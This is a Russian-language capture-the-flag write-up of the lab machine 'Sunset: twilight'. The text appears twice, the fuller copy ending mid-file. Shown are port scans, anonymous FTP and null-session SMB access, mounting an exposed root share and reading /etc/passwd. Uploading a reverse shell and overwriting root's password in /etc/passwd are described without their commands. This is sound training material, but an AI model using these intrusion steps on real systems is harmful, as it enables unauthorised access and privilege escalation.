Приветствую!
В продолжение цикла статей по CTF, представляю обзор моего прохождения коробки из списка Offensive Security.
Name: Sunset: twilight
Машина впринципе оказалась достаточно простой, но при этом были моменты когда я понимал что она хочет моей крови. Пройти удалось без подсказок и как я потом понял, альтернативным методом. Я не знаю, возможно автор специально дал возможность использовать иные методы для прохождения, а может это просто ошибка автора.
Вообщем поехали...
Загружаю образ VirtualBox и первым делом смотрю какой адрес выдан машине:
Как только получен адресс, сканирую на предмет открытых портов, служб. сервисов, их версий. версии ОС и заоодно запущу необходимые скрипты:
Получаю вот такой список:
И так что мы имеем? А имеем мы достаточно, чтоб потерятся во всем этом:
Сразу думаю о том, куда идти впервую очередь. Что я могу проверить очень быстро так это
Вижу что возможна сессия от имени anonymous:
Пробую подключится под:
anonymous : ‘’
anonymous : anonymous
И с первого же раз я получаю доступ. Смотрю что внутри:
Тяну файл к себе:
Супер, давайте смотреть что внутри:
Эммм... Что за инопланетная письменность? Беру строку V+Y<(^\4cdUpv7 -N'z2 и скармлеваю Гуглу )))
Из этой затеи нечего не вышло. Смотрю результаты сканирования и принемаю решение идти на
Провожу перечесление enum4linux'ом:
Выделяю для себя интересные вещи:
Ок, поробуем войти по NULL юзером:
и все среботало
// NULL user - это пользователь без имени и пароля //
И так, если вы линуксовод с опытом от пары месяцев, то станет понятно что перед нами корневой каталог системы. Смотреть тут придется много, поэтому принимаю решение смонтировать каталог к себе.
и следом:
Прекрсно, теперь можем нормально передвигаться по каталогу. Сразу пробую пройти в home/ :
Ага, вот и юзер))) Топаем в его каталог:
Опля... Закрыто... Хм, тогда пойдем дальше. Пробую
Отлично, а почитать
Вообще гуд, прям все идет как надо ))) Выделяю для себя интересную информацию по пользователях:
Еще покопавшись минут 30, я понял пора уходить. Нужно взять хоть какого-то пльзователя. Снова смотрю отчет по сканированию и рtшаю идти на
Перехожу по адрессу
Угу, это какая-то галлерея и написано что файлы будут хранится в базе. Наверное той самой Mysql на
И пока он напрягается, похожу по ссылкам на сайте, а тут их аж две )))
Кликаю на pictures и о Боги... сообщение об ошибке:
оворят что мол ошибка в синтаксисе. Проверьте и исправте... Где проверить? Где исправить? не ясно вообщем... Кликаю на ссылку со сменой языка иии... вообще пусто! Жмякаю View page source и тоже пусто ((( Была надежда что там есть закоментированая строка с подсказкой или еще чем нибуть. Но нет... Вообщем просто жду gobuster'а.
Бустер справился, а я погнал в каталог /gallery и вижу:
Форма для загрузки файлов. Тут я смыкаю что скорее всего уязвимость будет связанна с Upload Files. Если это так, то нам нужно:
1. Определить есть ли система фильтрации
2. Обойти эту систему и впихнуть shell
3. Найти где лежат загруженные файлы
4. Запустить наш реверс шелл
Определяем есть ли система фильтрации
Проходя самостоятельное обучение по уязвимостям в вебе, я проходил раздел с фильтрацией. Из пройденного материала я знаю, что фильтрация бывает двух типов:
• Фильтрация на стороне клиента
• Фильтрация на стороне сервера
• Обе сразу
Ок, приступим. Подключаю к делу Burp Suite. Мне нужно отловить ответ при загрузке файла. В данный момент не важно какого именно, я использую текстовый файл с
Ответ сервера дает мне сразу два ответа на вопросы:
• Есть ли фильтрация на стороне клиента - НЕТ
• Какой тип файлов можно загрузить через форму - Only jpeg images are allowed!
Хорошо, значит мы имеем фильтрацию на стороне сервера. Опять же, возвращаясь к уже изученному материалу, я знаю что есть несколько типов фильтрации на стороне сервера:
• Фильтрация по типу файла
• Фильтрация по размеру файла
• Фильтрация по имени файла
• Фильтрация по Magic Number
• Фильтрация по MIME
Беремся за дело!
Беру любую картинку в сети с расширением
// Люблю я песиков... ))) //
И пробую загрузить фото.
Мы видим что загрузка прошла удачно, но прежде чем перейти к определению типов фильтрации, мы должны понять где хранятся наши файлы. Ведь в случае успеха нам потребуется как-то запустить шелл!
Снова зову на помошь gobuster'a, но в этот раз ищу скрытые директории по адрессу:
И найденны еще четыре директории. Когда я загрузил файл, было видно что сервер как-то обрабатывает этот файл и делает несколько версий:
И я понимаю что оригинал моего файла лежит в папке /original. Откроем ее:
И вот тот момент, который сбил меня с этого пути. Я забыл о том, что папка может быть закрытой, но нечего не мешает обратиться к файлу в ней путем:
Если бы я это вспомнил, то мне осталось бы только обойти фильтрацию и загрузить шелл. Но я посему-то принял это за то, что я не могу найти папку с загруженным файлом и решил вернуться в начало. (Как оказалось тоже идея)
Я решил, что мне требуется исправить синтаксис чтоб картинка отображалась по адрессу
Как ни странно, решить задачу помог ребенок, который меня отвлек. Когда я будучи отвлеченным играл с ребенком, мне прилетело решение!
Мой внутрений голос:
- Мужик, что ты городишь? У тебя же смонтирован раздел с корневым каталогом. Иди в
Усевшись за компьютер я вошел на смонтированный раздел и полез в директорию где лежит сайт:
Нахожу тот самый current.php который писал об ошибке которую требовалось исправить:
Понимаю что это даже не скрипт. Иду в раздел /gallery:
Смотрю index.php:
Вижу скрипт. Обращаю внимание на то, что переменной $myImageUpload присваивают значение функции maxImageUpload().
Открываю и читаю... Нахожу код фильтра:
И в этот самый момент ко мне в голову врывается мысль: - Если ты можешь это редактировать, так может можно сюда залит файл?
Твою жеж дивизию...
Топаю к файлу с шеллом. Настраиваю его и :
Вуаля, шелл залит...
Понимая что залил его в корень сайта, иду на
Бам и я в системе!
И так время для повышения прав. Первым делом смотрю cron:
Пусто ...
Смотрю возможность доступа к
Опля... Добрый вечер... Файл открыт для записи, а это говорит о том, что мы можем поменять пароль на root или создать своего супер пользователя.
Иду к себе и запуская openssl:
Получил хеш пароля test123, теперь нужно отредактировать файл /etc/passwd. Скажу сразу, через коману
При попытке вызвать nano:
Пытаюсь создать /var/www/.local/share/nano/ :
$
Пробую vim:
Хм... Напрягся. Ок, а vi :
vi запустился, но из-за нестабильной оболочки я ничего не могу отредактировать. Печаль (((
Начинаю активно гуглить на предмет редактирования файла без редактора. Может есть команда которая выручит. Минут через 30 -40 запрос вида “how to edit file whithout vim or nano” начал давайть результаты. Вариантов как оказалось масса, но я наткнулся на пояснение где упоминался монтированый раздел. И я понял, что я могу просто отредактировать файл из своей оболочки.
Я в каталоге. Важное пояснение, если ввести nano(vim,vi) или что-то еще для открытия или считывания файла, крайне важно вводить полный путь к файлу, так как ваша оболочка подумает что мы хотим редактировать/прочитать наш файл )))
Ввожу
Теперь осталось выбрать что я хочу, заменить пароль у root'a или создать своего ))) Я решил просто заменить пароль:
После сохранения пробую su root:
Booommm!!! Теперь пойду соберу флаги:
и флаг root:
Резюме
Что могу сказать об этой машине... Она не оказалась сложной, просто были моменты которые требовали поиск информации для решение задач, для которых не хватало знаний. Я явно прошел ее не по плану автора, так как флаг юзера я брал уже в конце вместе с рутовским, а значит наверное есть альтернативное решение с получением юзера miguel и уже выходом на root.
Но все это только подталкивает задержаться на ней и поработать еще, так как остались еще службы которые я не задействовал, тот же MySQL.
Выводы:
Чему научила эта машина?
Наверное в моем прохождении особо не чему, так как не пришлось использовать разные техники. Например:
1. Обход фильтрации на сервере
2. Работа с MySQL
В целом появлялось желание подсматреть, но после Sunset Decoy, я понял что в состоянии решить задачу сам. Главное не торопиться и периодически переключаться на что нибуть в случае подвисания. Я еще поработаю над машиной и в следующем обзоре опишу иные методы проникновения.
Спасибо!
В продолжение цикла статей по CTF, представляю обзор моего прохождения коробки из списка Offensive Security.
Name: Sunset: twilight
Offensive Security Level : Easy
Author Level: Easy/Intermediate
Машина впринципе оказалась достаточно простой, но при этом были моменты когда я понимал что она хочет моей крови. Пройти удалось без подсказок и как я потом понял, альтернативным методом. Я не знаю, возможно автор специально дал возможность использовать иные методы для прохождения, а может это просто ошибка автора.
Вообщем поехали...
Загружаю образ VirtualBox и первым делом смотрю какой адрес выдан машине:
nmap -sn 192.168.1.1/24
Как только получен адресс, сканирую на предмет открытых портов, служб. сервисов, их версий. версии ОС и заоодно запущу необходимые скрипты:
nmap -A -p- 192.168.1.5 -vv
Получаю вот такой список:
Код:
└──╼ #nmap -A -p- 192.168.1.15
Starting Nmap 7.91 ( https://nmap.org ) at 2021-03-05 10:50 EET
Nmap scan report for 192.168.1.15
Host is up (0.00025s latency).
Not shown: 65526 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 43:e9:45:ec:f4:5b:ed:e9:64:47:43:43:39:96:9d:c9 (RSA)
| 256 ed:67:ad:31:04:17:ef:cf:75:02:05:db:88:94:97:a0 (ECDSA)
|_ 256 ed:41:e5:d1:b2:23:2c:d5:90:59:2a:37:8b:da:31:c1 (ED25519)
25/tcp open smtp Exim smtpd 4.92
| smtp-commands: twilight Hello nmap.scanme.org [192.168.1.6], SIZE 52428800, 8BITMIME, PIPELINING, CHUNKING, PRDR, HELP,
|_ Commands supported: AUTH HELO EHLO MAIL RCPT DATA BDAT NOOP QUIT RSET HELP
80/tcp open http Apache httpd 2.4.38 ((Debian))
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 4.9.5-Debian (workgroup: WORKGROUP)
2121/tcp open ftp pyftpdlib 1.5.6
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rw-r--r-- 1 root root 35 Jul 16 2020 22253251-65325.twilight
| ftp-syst:
| STAT:
| FTP server status:
| Connected to: 192.168.1.15:2121
| Waiting for username.
| TYPE: ASCII; STRUcture: File; MODE: Stream
| Data connection closed.
|_End of status.
3306/tcp open mysql MySQL 5.5.5-10.3.22-MariaDB-0+deb10u1
| mysql-info:
| Protocol: 10
| Version: 5.5.5-10.3.22-MariaDB-0+deb10u1
| Thread ID: 37
| Capabilities flags: 63486
| Some Capabilities: DontAllowDatabaseTableColumn, SupportsCompression, Support41Auth, Speaks41ProtocolNew, LongColumnFlag, SupportsTransactions, Speaks41ProtocolOld, IgnoreSigpipes, FoundRows, InteractiveClient, IgnoreSpaceBeforeParenthesis, SupportsLoadDataLocal, ConnectWithDatabase, ODBCClient, SupportsAuthPlugins, SupportsMultipleStatments, SupportsMultipleResults
| Status: Autocommit
| Salt: g!inmZZ32@,WU$PI]xbb
|_ Auth Plugin Name: mysql_native_password
8080/tcp open http PHP cli server 5.5 or later
|_http-open-proxy: Proxy might be redirecting requests
|_http-title: Login - powered by Easy File Sharing Web Server
63525/tcp open http PHP cli server 5.5 or later
|_http-title: Login - powered by Easy File Sharing Web Server
MAC Address: 08:00:27:07:7D:3D (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.6
Network Distance: 1 hop
Service Info: Host: twilight; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
|_clock-skew: mean: 1h40m00s, deviation: 2h53m12s, median: 0s
|_nbstat: NetBIOS name: TWILIGHT, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb-os-discovery:
| OS: Windows 6.1 (Samba 4.9.5-Debian)
| Computer name: twilight
| NetBIOS computer name: TWILIGHT\x00
| Domain name: \x00
| FQDN: twilight
|_ System time: 2021-03-05T03:51:25-05:00
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
| smb2-time:
| date: 2021-03-05T08:51:24
|_ start_date: N/A
И так что мы имеем? А имеем мы достаточно, чтоб потерятся во всем этом:
Код:
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
25/tcp open smtp Exim smtpd 4.92
80/tcp open http Apache httpd 2.4.38 ((Debian))
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 4.9.5-Debian (workgroup: WORKGROUP)
2121/tcp open ftp pyftpdlib 1.5.6
3306/tcp open mysql MySQL 5.5.5-10.3.22-MariaDB-0+deb10u1
8080/tcp open http PHP cli server 5.5 or later
63525/tcp open http PHP cli server 5.5 or later
Сразу думаю о том, куда идти впервую очередь. Что я могу проверить очень быстро так это
2121
порт с висячим там FTP:Вижу что возможна сессия от имени anonymous:
Код:
2121/tcp open ftp pyftpdlib 1.5.6
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rw-r--r-- 1 root root 35 Jul 16 2020 22253251-65325.twilight
| ftp-syst:
| STAT:
| FTP server status:
| Connected to: 192.168.1.15:2121
| Waiting for username.
| TYPE: ASCII; STRUcture: File; MODE: Stream
| Data connection closed.
|_End of status.
Пробую подключится под:
anonymous : ‘’
anonymous : anonymous
Код:
└──╼ #ftp 192.168.1.5 2121
Connected to 192.168.1.5.
220 pyftpdlib 1.5.6 ready.
Name (192.168.1.5:qulan): anonymous
331 Username ok, send password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
И с первого же раз я получаю доступ. Смотрю что внутри:
Код:
ftp> dir
200 Active data connection established.
125 Data connection already open. Transfer starting.
-rw-r--r-- 1 root root 35 Jul 16 2020 22253251-65325.twilight
226 Transfer complete.
Тяну файл к себе:
Код:
ftp> get 22253251-65325.twilight
local: 22253251-65325.twilight remote: 22253251-65325.twilight
200 Active data connection established.
125 Data connection already open. Transfer starting.
226 Transfer complete.
35 bytes received in 0.02 secs (2.2457 kB/s)
Супер, давайте смотреть что внутри:
Код:
└──╼ #cat 22253251-65325.twilight
Sg?~;
dg
14
V+Y<(^\4cdUpv7 -N'z2
Эммм... Что за инопланетная письменность? Беру строку V+Y<(^\4cdUpv7 -N'z2 и скармлеваю Гуглу )))
Из этой затеи нечего не вышло. Смотрю результаты сканирования и принемаю решение идти на
139.445
порты к SMBПровожу перечесление enum4linux'ом:
Код:
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 4.9.5-Debian (workgroup: WORKGROUP)
Код:
└──╼ #enum4linux -A 192.168.1.5
==========================
| Target Information |
==========================
Target ........... 192.168.1.5
RID Range ........ 500-550,1000-1050
Username ......... ''
Password ......... ''
Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none
====================================================
| Enumerating Workgroup/Domain on 192.168.1.5 |
====================================================
=====================================
| Session Check on 192.168.1.5 |
=====================================
[+] Server 192.168.1.5 allows sessions using username '', password ''
======================================
| OS information on 192.168.1.5 |
======================================
Use of uninitialized value $os_info in concatenation (.) or string at ./enum4linux.pl line 464.
[+] Got OS info for 192.168.1.15 from smbclient:
[+] Got OS info for 192.168.1.15 from srvinfo:
TWILIGHT Wk Sv PrQ Unx NT SNT Samba 4.9.5-Debian
platform_id : 500
os version : 6.1
server type : 0x809a03
=========================================
| Share Enumeration on 192.168.1.5 |
=========================================
Sharename Type Comment
--------- ---- -------
WRKSHARE Disk Workplace Share. Do not access if not an employee.
print$ Disk Printer Drivers
IPC$ IPC IPC Service (Samba 4.9.5-Debian)
SMB1 disabled -- no workgroup available
[+] Attempting to map shares on 192.168.1.15
//192.168.1.5/WRKSHARE Mapping: OK, Listing: OK
//192.168.1.5/print$ Mapping: DENIED, Listing: N/A
//192.168.1.5/IPC$ [E] Can't understand response:
NT_STATUS_OBJECT_NAME_NOT_FOUND listing \*
=======================================================================
| Users on 192.168.1.5 via RID cycling (RIDS: 500-550,1000-1050) |
=======================================================================
[I] Found new SID: S-1-22-1
[I] Found new SID: S-1-5-21-2873257265-3368159169-400567825
[I] Found new SID: S-1-5-32
[+] Enumerating users using SID S-1-5-21-2873257265-3368159169-400567825 and logon username '', password ''
S-1-5-21-2873257265-3368159169-400567825-500 *unknown*\*unknown* (8)
S-1-5-21-2873257265-3368159169-400567825-501 TWILIGHT\nobody (Local User)
S-1-5-21-2873257265-3368159169-400567825-502 *unknown*\*unknown* (8)
[+] Enumerating users using SID S-1-22-1 and logon username '', password ''
S-1-22-1-1000 Unix User\miguel (Local User)
[+] Enumerating users using SID S-1-5-32 and logon username '', password ''
S-1-5-32-537 *unknown*\*unknown* (8)
S-1-5-32-538 *unknown*\*unknown* (8)
S-1-5-32-539 *unknown*\*unknown* (8)
S-1-5-32-540 *unknown*\*unknown* (8)
S-1-5-32-541 *unknown*\*unknown* (8)
S-1-5-32-542 *unknown*\*unknown* (8)
S-1-5-32-543 *unknown*\*unknown* (8)
S-1-5-32-544 BUILTIN\Administrators (Local Group)
S-1-5-32-545 BUILTIN\Users (Local Group)
S-1-5-32-546 BUILTIN\Guests (Local Group)
S-1-5-32-547 BUILTIN\Power Users (Local Group)
S-1-5-32-548 BUILTIN\Account Operators (Local Group)
S-1-5-32-549 BUILTIN\Server Operators (Local Group)
S-1-5-32-550 BUILTIN\Print Operators (Local Group)
Выделяю для себя интересные вещи:
[+] Server 192.168.1.5 allows sessions using username '', password ''
- есть возможность установить сессию с нудевым пользователем//192.168.1.5/WRKSHARE Mapping: OK, Listing: OK
- открыта директория WRKSHARE
S-1-22-1-1000 Unix User\miguel (Local User)
- в системе есть юзер miguelОк, поробуем войти по NULL юзером:
и все среботало
Код:
└──╼ #smbclient //192.168.1.5/WRKSHARE -U '' -p 139
Enter WORKGROUP\'s password:
Try "help" to get a list of possible commands.
smb: \> dir
. D 0 Thu Jul 9 01:57:09 2020
.. D 0 Thu Jul 9 01:57:09 2020
root D 0 Thu Jul 16 16:50:46 2020
run D 0 Sat Mar 6 10:10:52 2021
lost+found D 0 Thu Jul 9 01:08:46 2020
initrd.img N 25814661 Thu Jul 9 01:58:16 2020
etc D 0 Sat Mar 6 10:10:33 2021
proc D 0 Sat Mar 6 10:11:05 2021
vmlinuz N 5274864 Sun Jun 7 18:42:22 2020
initrd.img.old N 25807574 Thu Jul 9 01:58:02 2020
opt D 0 Thu Jul 9 01:09:01 2020
srv D 0 Thu Jul 9 01:09:01 2020
sys D 0 Sat Mar 6 11:34:39 2021
lib64 D 0 Thu Jul 9 01:09:08 2020
sbin D 0 Thu Jul 16 16:53:39 2020
media D 0 Thu Jul 9 01:08:46 2020
bin D 0 Thu Jul 16 15:22:20 2020
usr D 0 Thu Jul 9 01:09:01 2020
lib32 D 0 Thu Jul 9 01:08:56 2020
dev D 0 Sat Mar 6 10:10:23 2021
lib D 0 Thu Jul 9 05:20:29 2020
vmlinuz.old N 5274864 Mon Apr 27 08:05:39 2020
libx32 D 0 Thu Jul 9 01:08:56 2020
home D 0 Thu Jul 9 02:15:56 2020
mnt D 0 Thu Jul 9 01:09:01 2020
var D 0 Thu Jul 9 03:03:27 2020
boot D 0 Thu Jul 9 02:06:53 2020
tmp D 0 Sat Mar 6 11:39:02 2021
7158264 blocks of size 1024. 4241496 blocks available
smb: \>
// NULL user - это пользователь без имени и пароля //
И так, если вы линуксовод с опытом от пары месяцев, то станет понятно что перед нами корневой каталог системы. Смотреть тут придется много, поэтому принимаю решение смонтировать каталог к себе.
Код:
└──╼ #sudo mount.cifs //192.168.1.5/WRKSHARE /tmp/WRKSHARE -o user=''
Password for root@//192.168.1.5/WRKSHARE:
и следом:
Код:
└──╼ #cd /tmp/WRKSHARE/ && ls -la
total 63488
drwxr-xr-x 2 root root 0 Jul 9 2020 .
drwxrwxrwt 1 root root 1450 Mar 6 11:46 ..
drwxr-xr-x 2 root root 0 Jul 16 2020 bin
drwxr-xr-x 2 root root 0 Jul 9 2020 boot
drwxr-xr-x 2 root root 0 Mar 6 10:10 dev
drwxr-xr-x 2 root root 0 Mar 6 10:10 etc
drwxr-xr-x 2 root root 0 Jul 9 2020 home
-rwxr-xr-x 1 root root 25814661 Jul 9 2020 initrd.img
-rwxr-xr-x 1 root root 25807574 Jul 9 2020 initrd.img.old
drwxr-xr-x 2 root root 0 Jul 9 2020 lib
drwxr-xr-x 2 root root 0 Jul 9 2020 lib32
drwxr-xr-x 2 root root 0 Jul 9 2020 lib64
drwxr-xr-x 2 root root 0 Jul 9 2020 libx32
drwxr-xr-x 2 root root 0 Jul 9 2020 lost+found
drwxr-xr-x 2 root root 0 Jul 9 2020 media
drwxr-xr-x 2 root root 0 Jul 9 2020 mnt
drwxr-xr-x 2 root root 0 Jul 9 2020 opt
drwxr-xr-x 2 root root 0 Mar 6 10:11 proc
drwxr-xr-x 2 root root 0 Jul 16 2020 root
drwxr-xr-x 2 root root 0 Mar 6 10:10 run
drwxr-xr-x 2 root root 0 Jul 16 2020 sbin
drwxr-xr-x 2 root root 0 Jul 9 2020 srv
drwxr-xr-x 2 root root 0 Mar 6 11:34 sys
drwxr-xr-x 2 root root 0 Mar 6 11:39 tmp
drwxr-xr-x 2 root root 0 Jul 9 2020 usr
drwxr-xr-x 2 root root 0 Jul 9 2020 var
-rwxr-xr-x 1 root root 5274864 Jun 7 2020 vmlinuz
-rwxr-xr-x 1 root root 5274864 Apr 27 2020 vmlinuz.old
Прекрсно, теперь можем нормально передвигаться по каталогу. Сразу пробую пройти в home/ :
Код:
└──╼ #ll
total 0
drwxr-xr-x 2 root root 0 Jul 16 2020 miguel
Ага, вот и юзер))) Топаем в его каталог:
Код:
┌─[root@parrot]─[/tmp/WRKSHARE/home/miguel]
└──╼ #ls -la
ls: reading directory '.': Permission denied
total 0
Опля... Закрыто... Хм, тогда пойдем дальше. Пробую
etc/
:
Код:
└──╼ #ll
total 73M
-rwxr-xr-x 1 root root 3.0K Jul 9 2020 adduser.conf
-rwxr-xr-x 1 root root 44 Jul 9 2020 adjtime
-rwxr-xr-x 1 root root 198 Jul 9 2020 aliases
drwxr-xr-x 2 root root 0 Jul 16 2020 alternatives
-rwxr-xr-x 1 root root 401 May 19 2019 anacrontab
drwxr-xr-x 2 root root 0 Jul 9 2020 apache2
drwxr-xr-x 2 root root 0 Jul 9 2020 apparmor
drwxr-xr-x 2 root root 0 Jul 9 2020 apparmor.d
drwxr-xr-x 2 root root 0 Jul 9 2020 apt
drwxr-xr-x 2 root root 0 Jul 9 2020 avahi
-rwxr-xr-x 1 root root 2.0K Apr 18 2019 bash.bashrc
-rwxr-xr-x 1 root root 367 Mar 2 2018 bindresvport.blacklist
drwxr-xr-x 2 root root 0 Jan 29 2020 binfmt.d
drwxr-xr-x 2 root root 0 Jul 9 2020 bluetooth
drwxr-xr-x 2 root root 0 Jul 9 2020 ca-certificates
// ------------------------- //
Отлично, а почитать
passwd
файл дашь?
Код:
└──╼ #cat /tmp/WRKSHARE/etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:101:102:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
systemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:104:110::/nonexistent:/usr/sbin/nologin
avahi-autoipd:x:105:112:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/usr/sbin/nologin
miguel:x:1000:1000:,,,:/home/miguel:/bin/bash
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
Debian-exim:x:107:115::/var/spool/exim4:/usr/sbin/nologin
mysql:x:108:118:MySQL Server,,,:/nonexistent:/bin/false
Вообще гуд, прям все идет как надо ))) Выделяю для себя интересную информацию по пользователях:
root
- супер юзерwww-data
- пользователь вэб сервераmiguel
- пользователь сис-мыЕще покопавшись минут 30, я понял пора уходить. Нужно взять хоть какого-то пльзователя. Снова смотрю отчет по сканированию и рtшаю идти на
80
порт (http)Перехожу по адрессу
[URL]http://192.168.1.5[/URL]
и вижу это:Угу, это какая-то галлерея и написано что файлы будут хранится в базе. Наверное той самой Mysql на
3306
-м порту. Так как передомной сайт, время запускать gobuster'а:└──╼ #gobuster dir -u [URL]http://192.168.1.5/[/URL] -w /home/qulan/wordlists/dir/directory-list-2.3-medium.txt -t 60
И пока он напрягается, похожу по ссылкам на сайте, а тут их аж две )))
Кликаю на pictures и о Боги... сообщение об ошибке:
оворят что мол ошибка в синтаксисе. Проверьте и исправте... Где проверить? Где исправить? не ясно вообщем... Кликаю на ссылку со сменой языка иии... вообще пусто! Жмякаю View page source и тоже пусто ((( Была надежда что там есть закоментированая строка с подсказкой или еще чем нибуть. Но нет... Вообщем просто жду gobuster'а.
Бустер справился, а я погнал в каталог /gallery и вижу:
Форма для загрузки файлов. Тут я смыкаю что скорее всего уязвимость будет связанна с Upload Files. Если это так, то нам нужно:
1. Определить есть ли система фильтрации
2. Обойти эту систему и впихнуть shell
3. Найти где лежат загруженные файлы
4. Запустить наш реверс шелл
Определяем есть ли система фильтрации
Проходя самостоятельное обучение по уязвимостям в вебе, я проходил раздел с фильтрацией. Из пройденного материала я знаю, что фильтрация бывает двух типов:
• Фильтрация на стороне клиента
• Фильтрация на стороне сервера
• Обе сразу
Ок, приступим. Подключаю к делу Burp Suite. Мне нужно отловить ответ при загрузке файла. В данный момент не важно какого именно, я использую текстовый файл с
TXT
.Ответ сервера дает мне сразу два ответа на вопросы:
• Есть ли фильтрация на стороне клиента - НЕТ
• Какой тип файлов можно загрузить через форму - Only jpeg images are allowed!
Хорошо, значит мы имеем фильтрацию на стороне сервера. Опять же, возвращаясь к уже изученному материалу, я знаю что есть несколько типов фильтрации на стороне сервера:
• Фильтрация по типу файла
• Фильтрация по размеру файла
• Фильтрация по имени файла
• Фильтрация по Magic Number
• Фильтрация по MIME
Беремся за дело!
Беру любую картинку в сети с расширением
jpeg
.// Люблю я песиков... ))) //
И пробую загрузить фото.
Мы видим что загрузка прошла удачно, но прежде чем перейти к определению типов фильтрации, мы должны понять где хранятся наши файлы. Ведь в случае успеха нам потребуется как-то запустить шелл!
Снова зову на помошь gobuster'a, но в этот раз ищу скрытые директории по адрессу:
└──╼ #gobuster dir -u [URL]http://192.168.1.5/gallery/[/URL] -w /home/qulan/wordlists/dir/directory-list-2.3-medium.txt -t 60
И найденны еще четыре директории. Когда я загрузил файл, было видно что сервер как-то обрабатывает этот файл и делает несколько версий:
- dog.jpeg (6023 bytes) was stored!
- normal_dog.jpeg (232054 bytes) was stored!
- thumb_dog.jpeg (16281 bytes) was stored!
И я понимаю что оригинал моего файла лежит в папке /original. Откроем ее:
И вот тот момент, который сбил меня с этого пути. Я забыл о том, что папка может быть закрытой, но нечего не мешает обратиться к файлу в ней путем:
http://192.168.1.5/original/myfile
Если бы я это вспомнил, то мне осталось бы только обойти фильтрацию и загрузить шелл. Но я посему-то принял это за то, что я не могу найти папку с загруженным файлом и решил вернуться в начало. (Как оказалось тоже идея)
Я решил, что мне требуется исправить синтаксис чтоб картинка отображалась по адрессу
Ссылка скрыта от гостей
и я застрял на долго...Как ни странно, решить задачу помог ребенок, который меня отвлек. Когда я будучи отвлеченным играл с ребенком, мне прилетело решение!
Мой внутрений голос:
- Мужик, что ты городишь? У тебя же смонтирован раздел с корневым каталогом. Иди в
/var/www
!!!Усевшись за компьютер я вошел на смонтированный раздел и полез в директорию где лежит сайт:
Код:
┌─[root@parrot]─[/tmp/WRKSHARE/var/www/html]
└──╼ #ll
total 3.0M
-rwxr-xr-x 1 root root 152 Jul 16 2020 current.php
drwxr-xr-x 2 root root 0 Mar 5 20:44 gallery
-rwxr-xr-x 1 root root 228 Jul 16 2020 index.php
-rwxr-xr-x 1 root root 58 Jul 16 2020 lang.php
┌─[root@parrot]─[/tmp/WRKSHARE/var/www/html]
└──╼ #
Нахожу тот самый current.php который писал об ошибке которую требовалось исправить:
Код:
└──╼ #cat current.php
Error: You have an error in your mysql syntax; check the manual that corresponds to your mysql server for the right syntax to use near " on parameter 1
Понимаю что это даже не скрипт. Иду в раздел /gallery:
Код:
┌─[root@parrot]─[/tmp/WRKSHARE/var/www/html/gallery]
└──╼ #ll
total 152M
-rwxr-xr-x 1 root root 148M Mar 5 21:03 hydra.restore
-rwxr-xr-x 1 root root 601 Mar 18 2008 index.php
-rwxr-xr-x 1 root root 8.8K Mar 19 2008 maxImageUpload.class.php
-rwxr-xr-x 1 root root 11K Dec 28 2010 maxImageUpload.zip
drwxr-xr-x 2 root root 0 Mar 5 14:08 normal
drwxr-xr-x 2 root root 0 Mar 5 14:08 original
-rwxr-xr-x 1 root root 534 Mar 19 2008 readme.txt
drwxr-xr-x 2 root root 0 Mar 18 2008 style
drwxr-xr-x 2 root root 0 Mar 5 14:08 thumbnail
Смотрю index.php:
Код:
└──╼ #cat index.php
<?php require_once("maxImageUpload.class.php"); ?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "">http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
